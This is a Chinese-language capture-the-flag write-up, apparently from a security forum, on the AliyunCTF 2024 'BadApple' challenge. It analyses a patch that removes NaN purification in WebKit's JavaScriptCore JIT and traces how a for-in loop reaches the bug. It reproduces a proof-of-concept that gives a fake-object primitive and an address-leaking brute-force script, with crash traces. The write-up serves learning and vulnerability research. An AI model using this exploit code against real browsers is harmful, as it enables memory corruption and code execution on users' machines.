-
-
[原创] AliyunCTF 2024 - BadApple
-
发表于: 2024-4-11 23:48 8046
-
@
依稀记得那晚被阿里CTF支配的恐惧,今年的阿里CTF笔者就做了一道签到PWN题,当时也是下定决心要学习 jsc pwn
然后复现这道 BadApple
题目
这个题目重新引入了一个 CVE
,其实出题人已经白给了,因为出题人后面直接把当时漏洞发现者的演讲视频给了,然后通过视频可以找到解析文章,漏洞原理分析、poc
基本都有了,但是当时笔者太菜了(虽然现在也很菜),还是没有搞出来,经过这两天对 JSC
漏洞利用的研究,打算把这道题目复现了
注:如果读者想了解更多关于该漏洞的一些背景,请读者直接移步到参考文章,参考文章写的非常详细,对漏洞原理的分析也非常到位,本文更多的是记录如何从一个漏洞的 patch
一层一层的找到触发该漏洞的逻辑,而且写利用时也会遇到很多坑,笔者也详细做了记录
patch
如下:
这里 DFG
和 FTL
中的两处漏洞都可以单独进行利用,所以这里仅仅看 DFG
中的漏洞,其补丁打在了 SpeculativeJIT::compileGetByValOnFloatTypedArray
函数中:
compileGetByValOnFloatTypedArray
函数顾名思义,其是用来优化 GetByValOnFloatTypedArray
操作的,比如如下代码:
对于 f64[0]
在 DFG
阶段会调用 compileGetByValOnFloatTypedArray
对其进行优化,这里的 f64
是 Float64Array
,所以元素大小是 8 字节,其会走到 【1】
处,loadDouble
会根据索引从数组中加载相应的值到 resultReg
中。然后会走到后面的 if-else
处,如果 format == DataFormatJS
则会走到漏洞分支处,可以看到这里直接对 resultReg
进行了 box
处理,即将其转换为 JSValue
这里 format == DataFormatJS
表示优化编译器认为这个值在后面被会作为 JSValue
使用,所以会走 if
分支调用 boxDouble
将其转换为一个 JSValue
,否则认为后面会直接使用原始值,所以会走 else
分支不做 box
处理
可以看到,patch
主要就是注释掉了 purifyNaN(resultReg);
从而引入了漏洞,来看下 pyrifyNaN
函数:
可以看到这里函数的功能就跟其名称一样: purify NaN
,在 JSC
中,其认为 0x7ff8000000000000ll
是一个 pure NaN
。所以这里的意思就是如果数组中的值是 NaN
,则统一使用 pure NaN
,后面简称 PNaN
为啥要统一使用 PNaN
?这里先来看下 boxDouble
boxDouble
的实现有好多个,可以根据参数类型进行判断具体的调用的哪一个实现
所以之前的函数走的是 【2】
分支,这里首先将 fpr
赋值给了 gpr
,然后执行 sub64(GPRInfo::numberTagRegister, gpr);
即 gpr = gpr - GPRInfo::numberTagRegister
,这里跟踪一下:
所以这里 GPRInfo::numberTagRegister
对于的是虚拟寄存器 r14
,行那么问题来了?r14
在实际运行时到底是多少呢?这里还是不知道,所以我们还是根据 GPRInfo::numberTagRegister
的名称进行搜索:
最后找到了一个比较相关的,其值为 0xfffe000000000000ll
,其实可以发现其就是 integer JSValue
的 mask
,所以这里我们可以认为其就是 gpr = gpr - 0xfffe000000000000ll
,但是似乎也不对啊,double JSValue
应该是 gpr = gpr + 0x0002000000000000ll
才对啊,别急:
所以其是等效的,这里的效果就是 gpr = gpr + 0x0002000000000000ll
,行,接下来我们在梳理一下程序的流程:
这里其实漏洞就很明显了,如果 resuleReg = 0xfffe_????_????_????
,那么此时就会发生溢出:
而 0x0000_????_????_????
会被当作一个指针,所以就获得了一个 fakeObject
原语。那么这里 resuleReg
可以为 0xfffe_?...?
吗?答案是可以的,比如如下代码:
这里我们顺便看下为啥加上 purifyNaN
就可以消除这个漏洞,我们知道 0xfffe_????_????_????
对于 double
而言都是 NaN
(其实只要指数域全部置位,尾数域不全为 0,表示的就是 NaN
),所以对于此类值,我们都统一使用 PNaN = 0x7ff8000000000000ll
,这时:
可以看到这里就避免了溢出的发生
漏洞触发:
接下来就是关键的漏洞触发路径的探索了
通过上面的分析,我们知道想要触发漏洞,就要执行到:
并且要求最后执行 if
分支,即 format == DataFormatJS
得成立,而 format
被赋值的语句如下:
可以看到 format
的值为 compileGetByValOnFloatTypedArray
的第三个参数 prefix
(其是一个 lambda
函数) 返回值 tuple
的第二个值。所以这里目标就很清楚了:
先看下有哪些函数调用 compileGetByValOnFloatTypedArray
,经过搜索,笔者仅在如下路径中找到调用:
然后看 DFGSpeculativeJIT32_64.cp
似乎没用了?这里看下 DFGSpeculativeJIT64.cpp
下的实现:
这里继续跟踪 compileGetByVal
的引用,看看谁调用了它,最后找到如下调用:
这里先来看下 SpeculativeJIT::compile
函数:
这里我并没有在外部找到 preferredFormat
的定义,所以这里 lambda
函数返回的 tuple
的第二个元素似乎不确定,所以这条路径暂时放弃
然后再来看下 SpeculativeJIT::compileEnumeratorGetByVal
函数:
可以到这里 lambda
函数返回的 tuple
的第二个元素恒为 DataFormatJS
,这时符合条件的,并且由于其固定为 DataFormatJS
,对漏洞利用的稳定性也有很大的帮助
说实话,感觉是真的巧,巧合就有这么一个函数,巧合其返回的就是 DataFormatJS
,差一个环节,这个漏洞的利用都会显得非常困难
所以最后我们需要执行到 compileEnumeratorGetByVal
逻辑即可,而跟踪可以知道,其会在 SpeculativeJIT::compile
中被调用:
根据 case
可以知道,其是处理 EnumeratorGetByVal
操作的,并且这里基本上就到了优化编译路径的顶层了
接下来就是要看看 EnumeratorGetByVal
对应的操作是什么,这里结合 chatGPT
食用:
在 JavaScriptCore
中,EnumeratorGetByVal
是一个函数,用于在枚举对象的属性时获取指定键的值。
当使用 for...in
语句或 Object.keys()
等方法枚举对象的属性时,JavaScriptCore
使用 EnumeratorGetByVal
函数来获取每个属性的值。
这里不禁让我想到了 V8
中 for-in
的实现,for-in
其实是一个非常耗时的语句,不同的引擎针对 for-in
的实现都做了不同的优化,在 V8
中,其主要就是通过 enum cache
去加速 for-in
语句的属性查找,之前分析过的 V8
中关于 enum cache
的漏洞就是 enum cache
在对象类型改变时没有及时更新从而导致越界,感兴趣的读者可以参考之前笔者的文章
还是回到 JSC
中来,笔者并没用找到 JSC
中关于 for-in
的实现资料,关于源码.....嗯,笔者暂时没打算直接读源码,因为笔者现在还在对 JSC
的整个编译流程做总结,还没用打算深入源码,毕竟还得慢慢来,一口不能吃成一个大胖子
但是到这里我们就可以尝试写 poc
了,我们只需要知道 for-in
中利用 key
获取属性值时会走到漏洞逻辑进行了,考虑如下 poc
:由于对 JSC
的一些编译管道不是很熟悉,所以 poc
写了很久都没写出来,最后直接看官方 poc
吧......
调试程序 crash
:
可以看到程序 crash
的原因是内存读写错误,因为此时的 r13 = 1
是一个无效地址
现在我们已经获得了一个 fakeObject
原语,接下来就是去考虑该如何进行利用了......说实话,我还真不知道咋利用,毕竟没有 addressOf
原语就没办法泄漏相关对象的地址,从而无法去伪造合法的对象,所以这里得想办法泄漏对象地址
这里参考文章中给出了一种方案,这里不细说,具体请参考参考文章,简单来说就是当 ===
操作被优化后,其直接使用 cmp
指令进行比较,那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址
笔者在写 exp
的时候遇到了很多问题,而这些问题在参考文章中都没有说明,所以笔者带着大家去解决这些问题:
首先说明下,在 ubu20.04
上,我发现对象的低 24
比特似乎是固定的:不知道是不是平台的原因,还是是其跟 V8
有差不多的特性?
接下来就跟着笔者去碰一碰利用过程中遇到的问题吧,第一版爆破对象地址的 exp
:
运行直接 crash
:
调试看看是哪里出了问题:
可以看到这里的 rdi
就是我们进行爆破的地址,现在其是一个无效的地址,所以这里 [rdi+0x5]
发生了内存访问错误,看调用栈可以知道其发生在如下调用逻辑:
而且通过 rdi
的值可以知道其是在爆破的过程中发生了,所以这里应该是在爆破的过程中发生了优化,其实大概就可以猜测是因为某个操作循环了多次导致的,这里读者可以大概去看一下 operationOptimize
函数(其实也不用看),然后就可以知道 updateAllPredictions
函数用来更新预测信息的(其实根据函数名也知道)
所以接下来就是去找出是哪里发生了优化,这里基本也是连猜带懵(其实这里可以主要到其明显与伪造对象有关,而结合源代码,基本上就可以知道是哪里出现了问题),当然这里笔者也没搞懂底层的根本原因,所以就不多说了,直接看代码
这里笔者写出了第二版泄漏代码:
笔者增加了如下代码去提前进行相关优化:你若问我为什么,我也不知道,就是瞎调,然后连猜带懵的...
为什么选择 0xfffe0000_22222222n
呢?因为笔者测试发现如果你把原始 poc
中的 0xfffe0000_00000001n
换成0xfffe0000_22222222n
,程序不会崩溃,当然还有一些其它值也不会崩溃,比如 0xfffe0000_00000002n、0xfffe0000_00000006n
等等,这里 2
表示的是 Null
,6
表示的是 false
,所以其不会崩溃自然可以理解
运行结果如下:
虽然还是崩溃了,但是可以看到现在可以执行的更远了,这里是执行到了 19565
,而上面仅仅执行到了 159
,还是调试分析下:
可以看到这里的崩溃原因与第一版的并不一样,并且这版运行的更远,说明上一个版本的问题我们已经成功解决了。但是这个问题,笔者并没有很好的解决,因为笔者感觉是 gc
的问题,所以多跑几次吧.......悲
如果读者针对该问题有比较好的解决方案,欢迎交流~~~
泄漏了对象地址后,其实就比较简单了,直接套模板就行了,exp
其实可以简化的,但是不想改了,因为 obj_to_leak
对象的地址的低 24
比特随着代码而改变,增加一行代码或减少一行代码都有可能使得其地址低 24
比特被改变,如果存在像 V8
那样的通用堆喷就好了~~~exploit
如下:
效果如下:
通过对该漏洞的分析与调试,笔者学习了如何通过一个 fakeObject
原语进行 RCE
,并且也让我认识到了自己对 JIT
真是了解甚少,原作者通过 ===
优化后的代码去爆破对象地址可谓妙哉
但是自己写利用,调试分析 exp
的问题从而针对问题进行修改,这对笔者的漏洞利用能力有极大的帮助,当然也希望自己可以跟上大佬的步伐,早日成功一个还不错的安全研究人员
Safari, Hold Still for NaN Minutes!
git checkout WebKit-7618.1.15.14.7
git apply ..
/BadApple
.
diff
Tools
/Scripts/build-webkit
--jsc-only --release
git checkout WebKit-7618.1.15.14.7
git apply ..
/BadApple
.
diff
Tools
/Scripts/build-webkit
--jsc-only --release
diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index f2b51cf1213a..fd84ab644117 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -4307,7 +4307,7 @@
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType
}
if
(format == DataFormatJS) {
- purifyNaN(resultReg);
+
// purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
}
else
{
diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
index f4e0bf891a61..6acea11bd819 100644
--- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
+++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
@@ -15292,7 +15292,7 @@ IGNORE_CLANG_WARNINGS_END
else
genericResult = strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64));
}
else
if
(genericResult->type() == Double)
- genericResult = boxDouble(purifyNaN(genericResult));
+ genericResult = boxDouble(genericResult);
results.append(m_out.anchor(genericResult));
m_out.jump(continuation);
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index f85c7db6bfbe..6af45c3e477e 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -616,6 +616,9 @@
private
:
Base::finishCreation(vm);
JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
+
// addFunction(vm, "describe"_s, functionDescribe, 1);
+
// addFunction(vm, "print"_s, functionPrintStdOut, 1);
+
return
;
addFunction(vm,
"atob"
_s, functionAtob, 1);
addFunction(vm,
"btoa"
_s, functionBtoa, 1);
diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index f2b51cf1213a..fd84ab644117 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -4307,7 +4307,7 @@
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType
}
if
(format == DataFormatJS) {
- purifyNaN(resultReg);
+
// purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
}
else
{
diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
index f4e0bf891a61..6acea11bd819 100644
--- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
+++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
@@ -15292,7 +15292,7 @@ IGNORE_CLANG_WARNINGS_END
else
genericResult = strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64));
}
else
if
(genericResult->type() == Double)
- genericResult = boxDouble(purifyNaN(genericResult));
+ genericResult = boxDouble(genericResult);
results.append(m_out.anchor(genericResult));
m_out.jump(continuation);
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index f85c7db6bfbe..6af45c3e477e 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -616,6 +616,9 @@
private
:
Base::finishCreation(vm);
JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
+
// addFunction(vm, "describe"_s, functionDescribe, 1);
+
// addFunction(vm, "print"_s, functionPrintStdOut, 1);
+
return
;
addFunction(vm,
"atob"
_s, functionAtob, 1);
addFunction(vm,
"btoa"
_s, functionBtoa, 1);
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
ASSERT(isFloat(type));
SpeculateCellOperand base(
this
, m_graph.varArgChild(node, 0));
SpeculateStrictInt32Operand property(
this
, m_graph.varArgChild(node, 1));
StorageOperand storage(
this
, m_graph.varArgChild(node, 2));
GPRTemporary scratch(
this
);
FPRTemporary result(
this
);
GPRReg baseReg = base.gpr();
GPRReg propertyReg = property.gpr();
GPRReg storageReg = storage.gpr();
GPRReg scratchGPR = scratch.gpr();
FPRReg resultReg = result.fpr();
std::optional<GPRTemporary> scratch2;
GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)
if
(node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
scratch2.emplace(
this
);
scratch2GPR = scratch2->gpr();
}
#endif
JSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR);
switch
(elementSize(type)) {
case
4:
loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);
convertFloatToDouble(resultReg, resultReg);
break
;
case
8: {
// 【1】
loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);
break
;
}
default
:
RELEASE_ASSERT_NOT_REACHED();
}
if
(format == DataFormatJS) {
// 【2】
// purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
}
else
{
ASSERT(format == DataFormatDouble);
doubleResult(resultReg, node);
}
}
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
ASSERT(isFloat(type));
SpeculateCellOperand base(
this
, m_graph.varArgChild(node, 0));
SpeculateStrictInt32Operand property(
this
, m_graph.varArgChild(node, 1));
StorageOperand storage(
this
, m_graph.varArgChild(node, 2));
GPRTemporary scratch(
this
);
FPRTemporary result(
this
);
GPRReg baseReg = base.gpr();
GPRReg propertyReg = property.gpr();
GPRReg storageReg = storage.gpr();
GPRReg scratchGPR = scratch.gpr();
FPRReg resultReg = result.fpr();
std::optional<GPRTemporary> scratch2;
GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)
if
(node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
scratch2.emplace(
this
);
scratch2GPR = scratch2->gpr();
}
#endif
JSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR);
switch
(elementSize(type)) {
case
4:
loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);
convertFloatToDouble(resultReg, resultReg);
break
;
case
8: {
// 【1】
loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);
break
;
}
default
:
RELEASE_ASSERT_NOT_REACHED();
}
if
(format == DataFormatJS) {
// 【2】
// purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
}
else
{
ASSERT(format == DataFormatDouble);
doubleResult(resultReg, node);
}
}
let f64 =
new
Float64Array(10);
let val = f64[0];
let f64 =
new
Float64Array(10);
let val = f64[0];
// Returns some kind of pure NaN.
inline
double
pureNaN()
{
return
bitwise_cast<
double
>(0x7ff8000000000000ll);
}
#define PNaN (pureNaN())
inline
bool
isImpureNaN(
double
value)
{
return
bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu;
}
// If the given value is NaN then return a NaN that is known to be pure.
inline
double
purifyNaN(
double
value)
{
if
(value != value)
return
PNaN;
return
value;
}
// Returns some kind of pure NaN.
inline
double
pureNaN()
{
return
bitwise_cast<
double
>(0x7ff8000000000000ll);
}
#define PNaN (pureNaN())
inline
bool
isImpureNaN(
double
value)
{
return
bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu;
}
// If the given value is NaN then return a NaN that is known to be pure.
inline
double
purifyNaN(
double
value)
{
if
(value != value)
return
PNaN;
return
value;
}
void
boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
{
boxDouble(fpr, regs.gpr(), mode);
}
GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
{
// 【1】
moveDoubleTo64(fpr, gpr);
if
(mode == DoNotHaveTagRegisters)
sub64(TrustedImm64(JSValue::NumberTag), gpr);
else
{
// 【2】
sub64(GPRInfo::numberTagRegister, gpr);
jitAssertIsJSDouble(gpr);
}
return
gpr;
}
void
boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
{
boxDouble(fpr, regs.gpr(), mode);
}
GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
{
// 【1】
moveDoubleTo64(fpr, gpr);
if
(mode == DoNotHaveTagRegisters)
sub64(TrustedImm64(JSValue::NumberTag), gpr);
else
{
// 【2】
sub64(GPRInfo::numberTagRegister, gpr);
jitAssertIsJSDouble(gpr);
}
return
gpr;
}
static
constexpr GPRReg numberTagRegister = X86Registers::r14;
static
constexpr GPRReg numberTagRegister = X86Registers::r14;
// If all bits in the mask are set, this indicates an integer number,
// if any but not all are set this value is a double precision number.
static
constexpr int64_t NumberTag = 0xfffe000000000000ll;
// If all bits in the mask are set, this indicates an integer number,
// if any but not all are set this value is a double precision number.
static
constexpr int64_t NumberTag = 0xfffe000000000000ll;
gpr = gpr-0xfffe000000000000ll
= gpr-0xfffe000000000000ll-0x0002000000000000ll+0x0002000000000000ll
= gpr-(0xfffe000000000000ll+0x0002000000000000ll)+0x0002000000000000ll
= gpr-0x1_0000000000000000[发生溢出]+0x0002000000000000ll
= gpr+0x0002000000000000ll
gpr = gpr-0xfffe000000000000ll
= gpr-0xfffe000000000000ll-0x0002000000000000ll+0x0002000000000000ll
= gpr-(0xfffe000000000000ll+0x0002000000000000ll)+0x0002000000000000ll
= gpr-0x1_0000000000000000[发生溢出]+0x0002000000000000ll
= gpr+0x0002000000000000ll
f64[0]
==> resultReg = loadDouble
if
format == DataFormatJS is
true
==> resultReg + 0x0002000000000000ll
==>
return
f64[0]
==> resultReg = loadDouble
if
format == DataFormatJS is
true
==> resultReg + 0x0002000000000000ll
==>
return
resultReg + 0x0002000000000000ll = 0xfffe_????_????_???? + 0x0002000000000000ll
= 0x0000_????_????_????
resultReg + 0x0002000000000000ll = 0xfffe_????_????_???? + 0x0002000000000000ll
= 0x0000_????_????_????
let f64 =
new
Float64Array(10);
let u64 =
new
BigUint64Array(f64);
u64[0] = 0xfffe_0000_0000_1111n;
let val = f64[0];
let f64 =
new
Float64Array(10);
let u64 =
new
BigUint64Array(f64);
u64[0] = 0xfffe_0000_0000_1111n;
let val = f64[0];
resultReg + 0x0002000000000000ll = 0x7ff8000000000000ll + 0x0002000000000000ll
= 0x7ffa000000000000
resultReg + 0x0002000000000000ll = 0x7ff8000000000000ll + 0x0002000000000000ll
= 0x7ffa000000000000
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(
Node* node,
TypedArrayType type,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(
Node* node,
TypedArrayType type,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
......
JSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
......
void
SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
......
JSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
......
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal
Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal
Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal
void
SpeculativeJIT::compileGetByVal(Node* node,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
switch
(node->arrayMode().type()) {
......
case
Array::Float32Array:
case
Array::Float64Array: {
TypedArrayType type = node->arrayMode().typedArrayType();
if
(isInt(type))
compileGetByValOnIntTypedArray(node, type, prefix);
else
compileGetByValOnFloatTypedArray(node, type, prefix);
} }
}
void
SpeculativeJIT::compileGetByVal(Node* node,
const
ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
switch
(node->arrayMode().type()) {
......
case
Array::Float32Array:
case
Array::Float64Array: {
TypedArrayType type = node->arrayMode().typedArrayType();
if
(isInt(type))
compileGetByValOnIntTypedArray(node, type, prefix);
else
compileGetByValOnFloatTypedArray(node, type, prefix);
} }
}
// DFGSpeculativeJIT32_64.cpp 下的是一样的,就不多说了
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile
Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal
// DFGSpeculativeJIT32_64.cpp 下的是一样的,就不多说了
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile
Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal
void
SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch
(op) {
......
case
GetByVal: {
JSValueRegsTemporary result;
compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>([&] (DataFormat preferredFormat) {
JSValueRegs resultRegs;
switch
(preferredFormat) {
case
DataFormatDouble:
break
;
default
: {
result = JSValueRegsTemporary(
this
);
resultRegs = result.regs();
break
;
}
};
return
std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes };
}));
break
;
}
void
SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch
(op) {
......
case
GetByVal: {
JSValueRegsTemporary result;
compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>([&] (DataFormat preferredFormat) {
JSValueRegs resultRegs;
switch
(preferredFormat) {
case
DataFormatDouble:
break
;
default
: {
result = JSValueRegsTemporary(
this
);
resultRegs = result.regs();
break
;
}
};
return
std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes };
}));
break
;
}
void
SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
Edge baseEdge = m_graph.varArgChild(node, 0);
auto
generate = [&] (JSValueRegs baseRegs) {
......
compileGetByVal(node,
scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {
......
return
std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
}));
......
};
......
}
void
SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
Edge baseEdge = m_graph.varArgChild(node, 0);
auto
generate = [&] (JSValueRegs baseRegs) {
......
compileGetByVal(node,
scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {
......
return
std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
}));
......
};
......
}
void
SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch
(op) {
......
case
EnumeratorGetByVal: {
compileEnumeratorGetByVal(node);
break
;
}
......
void
SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch
(op) {
......
case
EnumeratorGetByVal: {
compileEnumeratorGetByVal(node);
break
;
}
......
void
SpeculativeJIT::compileCurrentBlock()
{
ASSERT(m_compileOkay);
......
for
(m_indexInBlock = 0; m_indexInBlock < m_block->size(); ++m_indexInBlock) {
m_currentNode = m_block->at(m_indexInBlock);
......
compile(m_currentNode);
......
void
SpeculativeJIT::compileCurrentBlock()
{
ASSERT(m_compileOkay);
......
for
(m_indexInBlock = 0; m_indexInBlock < m_block->size(); ++m_indexInBlock) {
m_currentNode = m_block->at(m_indexInBlock);
......
compile(m_currentNode);
......
let abuf =
new
ArrayBuffer(8);
let lbuf =
new
BigUint64Array(abuf);
let fbuf =
new
Float64Array(abuf);
obj = {other:1};
function
trigger(arg, t) {
for
(let i
in
obj) {
obj = [0];
t.x = arg[i];
}
}
t = {x: {}};
trigger(obj, t);
for
(let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}
lbuf[0] = 0xfffe0000_00000001n;
trigger(fbuf, t);
t.x;
let abuf =
new
ArrayBuffer(8);
let lbuf =
new
BigUint64Array(abuf);
let fbuf =
new
Float64Array(abuf);
obj = {other:1};
function
trigger(arg, t) {
for
(let i
in
obj) {
obj = [0];
t.x = arg[i];
}
}
t = {x: {}};
trigger(obj, t);
for
(let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}
lbuf[0] = 0xfffe0000_00000001n;
trigger(fbuf, t);
t.x;
var
abuf =
new
ArrayBuffer(8);
var
lbuf =
new
BigUint64Array(abuf);
var
fbuf =
new
Float64Array(abuf);
var
t = {x: {}};
var
obj = {x:1234, y:1234};
var
obj_to_leak = { p1: 1337, p2: 1337 };
function
trigger(arg, a2) {
for
(let i
in
obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}
function
compare_obj(pointer, target_obj) {
return
pointer.x === target_obj;
}
function
fakeObject(addr) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, t);
}
trigger(obj, t);
trigger(t, obj_to_leak);
for
(let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}
for
(let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}
debug(describe(obj_to_leak));
var
addr = 0n;
for
(let i = 0n; i < 0xffffn; i += 1n) {
print(i);
addr = 0x7f0000500180n + i*0x1000000n;
fakeObject(addr);
let res = compare_obj(t, obj_to_leak);
if
(res) {
print(
"Success"
);
break
}
}
debug(describe(obj_to_leak));
print(
"addr: 0x"
+addr.toString(16));
var
abuf =
new
ArrayBuffer(8);
var
lbuf =
new
BigUint64Array(abuf);
var
fbuf =
new
Float64Array(abuf);
var
t = {x: {}};
var
obj = {x:1234, y:1234};
var
obj_to_leak = { p1: 1337, p2: 1337 };
function
trigger(arg, a2) {
for
(let i
in
obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}
function
compare_obj(pointer, target_obj) {
return
pointer.x === target_obj;
}
function
fakeObject(addr) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, t);
}
trigger(obj, t);
trigger(t, obj_to_leak);
for
(let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}
for
(let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}
debug(describe(obj_to_leak));
var
addr = 0n;
for
(let i = 0n; i < 0xffffn; i += 1n) {
print(i);
addr = 0x7f0000500180n + i*0x1000000n;
fakeObject(addr);
let res = compare_obj(t, obj_to_leak);
if
(res) {
print(
"Success"
);
break
}
}
debug(describe(obj_to_leak));
print(
"addr: 0x"
+addr.toString(16));
[#0] 0x7ffff6616dfb → JSC::speculationFromCell(JSC::JSCell*)()
[#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker
const
&, JSC::CodeBlock*)()
[#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()()
